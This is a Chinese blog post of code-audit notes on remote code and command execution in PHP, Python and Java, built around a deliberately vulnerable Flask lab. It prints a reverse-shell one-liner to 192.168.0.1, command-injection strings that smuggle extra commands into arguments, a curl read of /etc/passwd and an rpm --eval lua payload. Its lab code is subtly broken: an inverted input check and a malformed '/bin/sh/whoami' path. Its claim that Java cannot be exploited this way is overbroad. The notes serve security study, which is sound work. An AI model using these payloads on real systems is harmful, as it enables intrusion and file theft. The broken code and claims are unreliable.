代码审计-RCE

远程命令执行

php

eval() //字符串作为php代码执行
assert() //检查一个断言是否为false,可执行代码
preg_replace() //执行一个正则表达式的搜索和替换
call_user_func() //把第一个参数作为回调函数调用
call_user_func_array() //调用回调函数,并把第一个函数作为回调函数的参数
array_map() //为数组的每个函数应用回调函数
$a($b) //动态函数

python

exec(string) #python代码的动态执行
eval(string) #返回表达式或代码对象的值
execfile(string) #从一个文件读取和执行python脚本

java

基本没有可以执行代码的函数
都是调用反序列化 反射动态执行字符串

远程命令执行

应用系统从设计上需要给用户提供指定远程命令操作的接口,比如路由器、入侵检测等web管理界面上,仅当web应用程序包含操作系统调用(外壳程序,shell)并且调用中使用了用户输入时,才可以进行os命令注入攻击。

php

exec() //执行一个外部程序
passthru() //执行外部程序并且显示原始输出
proc_open //执行一个命令,并且打开用来输入/输出的文件指针
shell_exec //通过shell执行命令并把完整的输出以字符串返回
system //执行外部程序,并显示输出

python

os.system() #执行系统指令(无回显)
os.popen() #用于从一个命令打开一个管道
subprocess.call() #执行由参数提供的命令

java

Runtime.getRuntime().exec()
ProcessBuilder()

shell相关知识

Shell多个命令间隔符号;、&、&&、| 和 || 区别 - 简书

fd

linux下的文件描述符,一个重要的进程概念(索引)
linux’一切皆文件,文件可分为普通文件,目录文件,链接文件,设备文件,如果每次操作都查找一次名字,会消耗大量时间。所以linux’规定每一个文件对应一个索引,直接对索引进行操作,文件描述符fd就是内核为了高效管理文件创建的索引

$$ linux下当前进程的pid
/proc linux伪文件系统,进程相关信息挂载在这里

反弹shell

sh -i >& /dev/tcp/192.168.0.1/12345 0>&1

这一条命令做了些什么:
ls -al /proc/root的pid/fd
0号fd------标准输入 stin
1号fd------标准输出 stout
2号fd------标准错误 sterr
指向了一个/dev/pts/0是一个虚拟bash终端

在反弹shell中,012号fd会指向一个套接字
即先创建一个虚拟bash终端然后将标准输入标准输出全部重定向到socket网络套接字中

linux进程创建

linux分为用户态和内核态,用户态要进行的所有动作,都是通过调用system call(系统调用syscall)向内核发起请求,最终在内核态执行完毕后得到返回。

A------》B
a创建b进程,首先执行fork的systemcall
-----》fork
-----》A2
-----》execve(将二进制可执行文件从硬盘中读取到内存里)
-----》B

当执行命令bash -i whoami时
内核中执行的动作:
bash(pid:52350)–>sys_fork
–>bash(pid:52769)–>sys_execve–>/bin/whoami(pid:52769)

c/php/python 下的system()/popen()函数:

system($input$)
执行 sh -c '$input'
可转化为:
	bash(pid:1)-->sys_fork
		-->bash(pid:2)-->sys_execve-->/bin/whoami

python的subprocess.call函数

import os  
import subprocess  
  
if __name__ == '__main__':  
    name = '123";ping baidu.com -c 100;echo"456'  
    cmd = 'echo "Hello'+ name +'"'  
    subprocess.call(cmd,shell=True)  #execve(["sh","-c",$cmd$])
import os  
import subprocess  
  
if __name__ == '__main__':  
    name = '123";ping baidu.com -c 100;echo"456'  
    cmd = 'echo "Hello'+ name +'"'  
    subprocess.call(cmd,shell=False)    #execve($cmd$)

shell=True和shell=False的区别

  • 当shell=True时,subprocess会调用默认的shell,如/bin/sh或cmd.exe
    sh -c ‘/user/bin/echo “ssss”;whoami"’,可以做到whoami逃逸
  • 当shell=False时,subprocess会直接执行指定的命令,不会调用shell解释器
    /user/bin/echo “xxoo"xxxx” 当输入其他内容如\会被转义

java的Runtime.getRuntime().exec和ProcessBuilder()

import java.io.BufferedReader;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
  
public class daishen {  
    public static void main(String[] args) throws IOException {  
        String name = "123';ping baidu.com -c 3;echo '456";  
        String cmd = "echo 'Hello "+name+"'";  
        Process pro = Runtime.getRuntime().exec(cmd);  
        InputStream in = pro.getInputStream();  
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));  
        String result = reader.readLine();  
        System.out.println("INFO:"+result);  
    }  
}

主代码中第三行运行为:
/user/bin/echo"123’;ping baidu.com -c 3;echo '456"
没有创建bash环境,直接带入运行,无法rce

能否注入成功

:是否以sh -c来执行命令,即创建bash环境执行,可进行拼接
php中大多数外部命令函数都是调用sh -c执行
python要看shell=?的情况
java中不能rce,直接execve创建进程执行,未调用sh -c执行

小总结

system类

如果是执行system函数或者类似system函数,他们都是直接走fork–>execve流程(调用外部sh -c),这种情况外部的输入会加入到bash -c的参数,它支持shell语法,可以进行拼接绕过等操作

execve类

例如Runtime.getRuntime.exec()和subprocess.call(cmd,shell=False)这两者,走的流程是直接execve,这种只能将输入作为固定进程的参数,就无法利用shell语法

参数黑魔法

curl进行文件读取:(curl支持的协议)
curl file:///etc/passwd

linux参考

https://gtfobins.github.io/

windows参考

https://lolbas-project.github.io
实验代码:

import subprocess  
import urllib.parse  
from flask import request  
import shlex  
  
from flask import Flask  
  
app = Flask(__name__)  
  
@app.route('/rpm')  
def rpm_install():  
    rpm = request.args.get('rpm')  
    if rpm is None or rpm.strip() == "":  
        rpm = urllib.parse.unquote(rpm)  
        cmd = "rpm" + rpm  
        cmd_list = shlex.split(cmd)  
        process = subprocess.Popen(cmd_list,shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE,stderr=subprocess.STDOUT)  
        result = "result is:\n"  
        while process.poll() is None:  
            line = process.stdout.readline()  
            line = line.strip()  
            if line:  
                result = result + str(line)  
        return result  
  
  
@app.route('/curl')  
def curl():  # put application's code here  
    url = request.args.get("url")  
    if url is None or url.strip() == "":  
        return "please enter url"  
    cmd = ["curl", url]  
    process = subprocess.Popen(cmd, shell =False,stdout=subprocess.PIPE, stdin=subprocess.PIPE,stderr=subprocess.STDOUT)  
    result = "result is:\n"  
    while process.poll() is None:  
        line = process.stdout.readline()  
        line = line.strip()  
        if line:  
            result = result + str(line)  
    return result  
  
if __name__ == '__main__':  
    app.run(host="0.0.0.0")

curl进行文件读取:
127.0.0.1:5000/curl?url=file:///C:\Users\Administrator\Desktop\22.txt
rpm进行rce:
http://127.0.0.1:5000/rpm?rpm=–eval ‘%{lua:os.execute(“/bin/sh/whoami”)}’

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值